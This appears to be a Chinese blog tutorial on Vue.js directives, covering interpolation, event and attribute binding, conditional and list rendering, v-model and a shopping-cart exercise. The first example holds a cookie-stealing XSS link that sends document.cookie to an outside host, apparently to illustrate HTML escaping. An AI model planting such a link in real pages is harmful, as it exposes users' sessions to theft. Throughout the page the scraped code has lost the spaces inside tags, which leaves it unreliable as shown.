• vue指令练习

    Vue介绍

    一 模板语法

    1.1 插值

    1.1.1 概述

    1
    2
    3
    4
    5
    6
    7
    8
    9
    		 
    1 文本 {{}}
    2 纯html
    3 表达式

    注意：直接把Vue对象赋值给变量，修改变量值，可以直接修改页面内容

    	-vm.$data.name

    	-vm.name

    1.1.2 案例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        {{name}}
        <br>
        {{10}}
        <br>
        {{10+20}}
        <br>
        {{10>20?'大于':'小于'}}
        <br>
        {{myhtml}}
    </div>
    </body>
    <script>
    new Vue({
            el:'#box',
            data:{
                name:'lqz',
                myhtml:"<ahref=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点我看美女</a>",
            }
        })
    </script>
    </html>

    二 指令

    2.1 文本相关指令

    1
    2
    3
    4
    5
    		 
    >1 v-text
    >2 v-html
    >3 v-show
    >4 v-if
    >注意:v-show和v-if的区别 
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        <pv-text='msg'>原文本会被替换</p>
        <divv-html="myhtml"></div>
        <divv-show="isShow">显示</div>
        <divv-if="isCreated">显示</div>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                msg: 'lqz',
                myhtml:'<ahref="http://www.baidu.com">点我</a>',
                isShow:true,
                isCreated:true
            }
        })
    </script>
    </html>

    2.2 事件指令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    		 
    <!-- v-on: 指令 简写 @ -->


    <!-- 不传参事件绑定，但事件回调方法可以获取事件对象 -->
    <p @click="fn"></p>
    <!-- ()可以传入具体实参 -->
    <p @click="fn()"></p>
    <!-- ()情况下，事件对象应该显式传入 -->
    <p @click="fn($event)"></p>
    		 
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        <buttonv-on:click="test">点我</button>
        <button @click="test()">点我2</button>
        <button @click="test2($event)">点我3</button>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
            },
            methods:{
                test(){
    console.log('test')
                },
                test2(ev){
    console.log(ev)
                },
            }
        })
    </script>
    </html>

    2.3 属性指令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
        <style>
    .redclass{
                background: red;
            }
    .yellowclass{
                background: yellow;
            }
    </style>
    </head>
    <body>
    <divid="box">
        <!--绑定src    -->
        <imgv-bind:src="mysrc"/>
        <img:src="mysrc"/>

        <!--绑定class-->
        <divv-bind:class="red">111111111</div>
        <button @click="change">点击变色</button>
        <divv-bind:class="isActive?'redclass':'yellowclass'">222222222</div>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                mysrc:"https://pic.maizuo.com/usr/movie/73b25044a8c9756fa41d3a723ee6c2c2.jpg",
                isActive:false,
                red:'redclass',
                yellow:'yellowclass',


            },
            methods: {
                change(){
    this.isActive=!this.isActive
                },
            }
        })
    </script>
    </html>

    三 class与style

    3.1 class的三种写法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
        <style>
    .redclass {
                background: red;
            }

    .yellowclass {
                background: yellow;
            }
    </style>
    </head>
    <body>
    <divid="box">
        <div:class="isActive?'redclass':'yellowclass'">class三目写法</div>
        <p:class="classObj">class对象写法</p>
        <p:class="classarr">class数组写法</p>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                isActive: false,
                classObj: {
                    class_a: true,
                    class_b: true,
    //class_a,class_b是class的名字,
    //vm.classObj.class_a=false
    //vm.classObj.class_c=true 设置不进去
                },
                classarr:['a','b']
    //vm.classarr.pop()
    //vm.classarr.push('c')

            },
            methods: {

            }
        })
    </script>
    </html>

    3.2 style的写法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
        <style>
    .redclass {
                background: red;
            }

    .yellowclass {
                background: yellow;
            }
    </style>
    </head>
    <body>
    <divid="box">
        <div:style="'background:'+'red'">class三目写法</div>
        <div:style="'background:'+(isActive?'red':'yellow')">class三目写法</div>
        <!--vm.isActive=true-->
        <p:style="styleobj">class对象写法</p>
        <p:style="styleattr">class数组写法</p>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                isActive: false,
                styleobj:{
                    background:'yellow',
                    fontSize:'30px',
                },
                styleattr:[{background:'red'},],
    // styleattr:[]
    //vm.styleattr.push({background:'red'})
    //vm.styleattr.shift(),pop

            },
            methods: {

            }
        })
    </script>
    </html>

    四 条件渲染

    4.1 动态创建删除(v-else)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
        <style>
    .redclass {
                background: red;
            }

    .yellowclass {
                background: yellow;
            }
    </style>
    </head>
    <body>
    <divid="box">
        <button @click="handlediv">动态删除添加</button>
        <divv-if="isActive">我出现了</div>
      	<divv-else>我是else</div>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                isActive: false,

            },
            methods: {
                handlediv() {
    this.isActive = !this.isActive
                }
            }
        })
    </script>
    </html>

    五 列表渲染(v-for)

    5.1 v-if+v-for控制购物车显示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
        <style>
    .redclass {
                background: red;
            }

    .yellowclass {
                background: yellow;
            }
    </style>
    </head>
    <body>
    <divid="box">
        <button @click="add">加入购物车</button>
        <ulv-if="!datalist.length==0">
            <liv-for="data in datalist">{{data}}</li>
        </ul>
        <divv-else>购物车空空如也</div>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                isActive: false,
    // datalist:['111','222','3333']
                datalist:[]

            },
            methods: {
                add(){
    this.datalist=['111','222','3333']
                },
            }
        })
    </script>
    </html>

    5.2 v-if/v-else-if/v-else

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
        <style>
    .redclass {
                background: red;
            }

    .yellowclass {
                background: yellow;
            }
    </style>
    </head>
    <body>
    <divid="box">
      <divv-if="which==1">1111</div>
      <divv-else-if="which==2">222</div>
      <divv-else>333</div>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                which:1

            },

        })
    </script>
    </html>

    5.3 v-for遍历列表，对象

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
        <style>
    .redclass {
                background: red;
            }

    .yellowclass {
                background: yellow;
            }
    </style>
    </head>
    <body>
    <divid="box">
        <ul>
            <liv-for="(value,index) in arr">{{value}}---{{index}}</li>
        </ul>
        <hr>
        <ul>
            <liv-for="(value,key) in obj">{{value}}---{{key}}</li>
        </ul>
        <hr>
         <ul>
            <liv-for="(value,key) of obj">{{value}}---{{key}}</li>
        </ul>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                arr: ['11', '22', '33'],
                obj: {name: 'lqz', age: 18, sex: '男'}

            },

        })
    </script>
    </html>

    5.4 key值解释

    1
    2
    3
    4
    5
    6
    7
    		 
    <!-- 虚拟dom比对变更优化相关，使用唯一key值，插入一个标签，更改的少
    跟踪每个节点身份，从而重新排序现有元素
    理想的key值是每项都有且唯一的值，id等
    -->
    <ul>
        <liv-for="(value,index) in arr":key="index">{{value}}---{{index}}</li>
    </ul>

    5.5 数组更新与检测

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    		 
    <!--
    1 使用以下方法操作数组，可以检测变动：push，pop，shift，unshift,splice,sort,reverse
    2 不会检测变动filter(),concat(),slice(),map()，新数组替换旧数组
    	-页面不会更改：vm.arr.concat(['44','55'])
    	-解决vm.arr=vm.arr.concat(['44','55'])
    3 页面不会更改：通过索引值更新数组
    	-解决方案一：
        vm.arr[0]
        "11"
        vm.arr[0]='99'
        "99"
        vm.arr.splice(0,1,'88')
        ["99"]
    	-解决方案二
    		Vue.set(vm.arr,0,'lqz')

    3 上面能更新是因为作者重写了那些方法


    -->

    六 事件处理

    input

    change

    blur

    6.1 input过滤案例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
        <style>
    .redclass {
                background: red;
            }

    .yellowclass {
                background: yellow;
            }
    </style>
    </head>
    <body>
    <divid="box">
    <!--    <p><input type="text" v-model="mytext" @change="handleChange"></p>-->
    <!--    <p><input type="text" v-model="mytext" @blur="handleChange"></p>-->
        <p><inputtype="text"v-model="mytext" @input="handleChange"></p>
        <ul>
            <liv-for="data in newlist">{{data}}</li>
        </ul>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                mytext: '',
                datalist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
                newlist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
            },
            methods: {
                handleChange() {
    console.log(this.mytext)
    this.newlist=this.datalist.filter(item=>{
    return item.indexOf(this.mytext)>-1
                    })
                },
            },

        })
    var a=['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac']
    // var aa=a.filter(function (item) {
    //     if(item.indexOf('a')>-1){
    //       return true
    //     }else {
    //         return false
    //     }
    // })
    var aa=a.filter(item=>{
    return item.indexOf('a')>-1
        })
    </script>
    </html>

    6.2 简单事件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        <button @click="handleShow">按钮1</button>
        <button @click="handleShow()">按钮2</button>
        <button @click="isShow=!isShow">按钮3</button>
        <divv-show="isShow">显示</div>

    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                isShow:true,
            },
            methods: {
                handleShow() {
    this.isShow=!this.isShow
                },
            },

        })
    </script>
    </html>

    6.3 事件修饰符

    .stop 阻止事件冒泡

    .prevent 阻止a链接跳转

    .self 只处理自己的事件，子控件冒泡的事件不处理

    .once 只处理一次就解绑(抽奖页面)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        <button @click="handleShow">按钮1</button>
        <button @click="handleShow()">按钮2</button>
        <button @click="isShow=!isShow">按钮3</button>
        <divv-show="isShow">显示</div>
        <hr>
        <ul @click="handleUl">
            <li @click="handleLi($event)">111</li>
            <li @click.stop="handleLinew">222</li>
            <li @click="handleLi">333</li>
        </ul>
        <br>
        <ahref="http://www.baidu.com" @click="handlea($event)">点击跳转，不拦截</a>
        <ahref="http://www.baidu.com" @click.prevent="handlea">点击拦截</a>

        <ul @click.self="handleUl">
            <li @click="handleLi2">111</li>
            <li @click="handleLi2">222</li>
            <li @click="handleLi2">333</li>
        </ul>
        <button @click.once="test">只执行一次</button>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                isShow: true,
            },
            methods: {
                handleUl() {
    console.log('ululul')

                },
                handleLi(ev) {
    console.log('lilili')
                    ev.stopPropagation()
                },
                handleLi2(){
    console.log('safsd')
                },

                handleLinew() {
    console.log('lililinew')
                },
                handlea(ev) {
                    ev.preventDefault()
    console.log('不跳了')
                },
                test(){
    console.log('test')
                },
            },

        })
    </script>
    </html>

    6.4 按键修饰符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">

        <inputtype="text" @keyup="handleKeyUp"v-model="mytext">
        <inputtype="text" @keyup.enter="handleKeyUp2"v-model="mytext">
        <!--不是所有的按键都写了，所以可以使用keycode数字-->
        <inputtype="text" @keyup.13="handleKeyUp2"v-model="mytext">
        <ul>
            <liv-for="data in datalist">{{data}}</li>
        </ul>
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                isShow: true,
                mytext:'',
                datalist:[]
            },
            methods: {
                handleKeyUp(ev){
    console.log(ev)
                    if(ev.keyCode==13){
    console.log('回车')
    this.datalist.push(this.mytext)
                    }
                },
                handleKeyUp2(){
    this.datalist.push(this.mytext)
                },
            }

        })
    </script>
    </html>

    七 表单控件绑定/双向数据绑定

    7.1 v-model基本使用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">

        <inputtype="text"v-model="mytext">
        {{mytext}}
        <br>
        <textareaname=""id=""cols="30"rows="10"v-model="textbig"></textarea>
        {{textbig}}
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                mytext:'',
                textbig:'',
            },

        })
    </script>
    </html>

    7.2 checkbox选中

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">

        <inputtype="text"v-model="mytext">
        {{mytext}}
        <br>
        <textareaname=""id=""cols="30"rows="10"v-model="textbig"></textarea>
        {{textbig}}
        <br>
        <inputtype="checkbox"v-model="radio">记住用户名
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                mytext:'',
                textbig:'',
                radio:false,
            },

        })
    </script>
    </html>

    7.3 多选

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        <br>
        <p>你喜欢的运动</p>
        <inputtype="checkbox"v-model="checkgroup"value="抽烟">抽烟
        <inputtype="checkbox"v-model="checkgroup"value="喝酒">喝酒
        <inputtype="checkbox"v-model="checkgroup"value="烫头">烫头
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                checkgroup:[],
            },

        })
    </script>
    </html>

    7.4 单选

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        <br>
        <p>你最喜欢的编程语言</p>
        <inputtype="radio"value="Python"v-model="radio">Python
        <inputtype="radio"value="Java"v-model="radio">Java
        <inputtype="radio"value="c++"v-model="radio">C++
        {{radio}}
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                radio:'',
            },

        })
    </script>
    </html>

    7.5 购物车案例

    7.5.1 基本购物车

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
     <ul>
         <liv-for="data in datalist">
            <!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
             <inputtype="checkbox":value="data"v-model="checkgroup">
             {{data}}
         </li>
     </ul>
        <!--要加括号，函数返回什么，该位置就写什么-->
        <p>总金额是：{{getsum()}}</p>
        <br>
        {{checkgroup}}
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                datalist:[
                    {name:'特斯拉',price:10,number:1,id:'1'},
                    {name:'充气',price:20,number:3,id:'2'},
                    {name:'娃娃',price:30,number:2,id:'3'},
                ],
                checkgroup:[],
            },
            methods:{
                getsum(){
    var sum=0;
    for(var item inthis.checkgroup){
                        sum+=this.checkgroup[item].price*this.checkgroup[item].number
                    }
    return sum
                },
            }
        })
    </script>
    </html>

    7.5.1 全选，全不选

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        <inputtype="checkbox" @change="handleChange"v-model="isALl">全选/全不选
     <ul>
         <liv-for="data in datalist">
            <!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
             <inputtype="checkbox":value="data"v-model="checkgroup" @change="handleLi">
             {{data}}
         </li>
     </ul>
        <!--要加括号，函数返回什么，该位置就写什么-->
        <p>总金额是：{{getsum()}}</p>
        <br>
        {{checkgroup}}
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                datalist:[
                    {name:'特斯拉',price:10,number:1,id:'1'},
                    {name:'充气',price:20,number:3,id:'2'},
                    {name:'娃娃',price:30,number:2,id:'3'},
                ],
                checkgroup:[],
                isALl:false,
            },
            methods:{
                getsum(){
    var sum=0;
    for(var item inthis.checkgroup){
                        sum+=this.checkgroup[item].price*this.checkgroup[item].number
                    }
    return sum
                },
                handleChange(){
    console.log(this.isALl)
    if(this.isALl){
    this.checkgroup=this.datalist
                    }else{
    this.checkgroup=[]
                    }
                },
                handleLi(){
    if(this.checkgroup.length<3){
    this.isALl=false
                    }else{
    this.isALl=true
                    }
                }
            }
        })
    </script>
    </html>

    7.5.3 控制加减

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        <inputtype="checkbox" @change="handleChange"v-model="isALl">全选/全不选
     <ul>
         <liv-for="data in datalist">
            <!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
             <inputtype="checkbox":value="data"v-model="checkgroup" @change="handleLi">
             {{data}}
             <button @click="data.number++">+</button>
             {{data.number}}
             <button @click="handleClick(data)">-</button>
         </li>
     </ul>
        <!--要加括号，函数返回什么，该位置就写什么-->
        <p>总金额是：{{getsum()}}</p>
        <br>
        {{checkgroup}}
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                datalist:[
                    {name:'特斯拉',price:10,number:1,id:'1'},
                    {name:'充气',price:20,number:3,id:'2'},
                    {name:'娃娃',price:30,number:2,id:'3'},
                ],
                checkgroup:[],
                isALl:false,
            },
            methods:{
                getsum(){
    var sum=0;
    for(var item inthis.checkgroup){
                        sum+=this.checkgroup[item].price*this.checkgroup[item].number
                    }
    return sum
                },
                handleChange(){
    console.log(this.isALl)
    if(this.isALl){
    this.checkgroup=this.datalist
                    }else{
    this.checkgroup=[]
                    }
                },
                handleLi(){
    if(this.checkgroup.length<3){
    this.isALl=false
                    }else{
    this.isALl=true
                    }
                },
                handleClick(data){
                    if(data.number==1){
                        data.number=1
                    }else{
                        data.number--
                    }

                }
            }
        })
    </script>
    </html>

    7.6 v-model之lazy,number,trim

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    		 
    <!DOCTYPE html>
    <htmllang="en">
    <head>
        <metacharset="UTF-8">
        <title>Title</title>
        <scriptsrc="js/vue.js"></script>
    </head>
    <body>
    <divid="box">
        <inputtype="text"v-model.lazy="mytext"> {{mytext}}
        <br>
        <inputtype="text"v-model.number="mytext"> {{mytext}}
        <br>
        <inputtype="text"v-model.trim="mytext"> {{mytext}}
    </div>
    </body>
    <script>
    var vm = new Vue({
            el: '#box',
            data: {
                mytext:'',
            },
        })
    </script>
    </html>
    每天逼着自己写点东西，终有一天会为自己的变化感动的。这是一个潜移默化的过程，每天坚持编编故事，自己不知不觉就会拥有故事人物的特质的。 Explicit is better than implicit.(清楚优于含糊)
  • 相关阅读:
    Solutions：Elastic SIEM
    Solutions：Elastic SIEM
    Solutions：Elastic SIEM
    Elasticsearch：设置Elastic账户安全
    Beats：通过Metricbeat实现外部对Elastic Stack的监控
    Kibana： 运用Data Visualizer来分析CSV数据
    Kibana：在Kibana中对数据进行深入分析
    Kibana：Canvas入门
    Elastic：创建你的第一个Elastic alert
    Elasticsearch：跨集群搜索 Cross-cluster search (CCS)
  • 原文地址：https://www.cnblogs.com/kylin5201314/p/14141323.html
Copyright © 2020-2023  润新知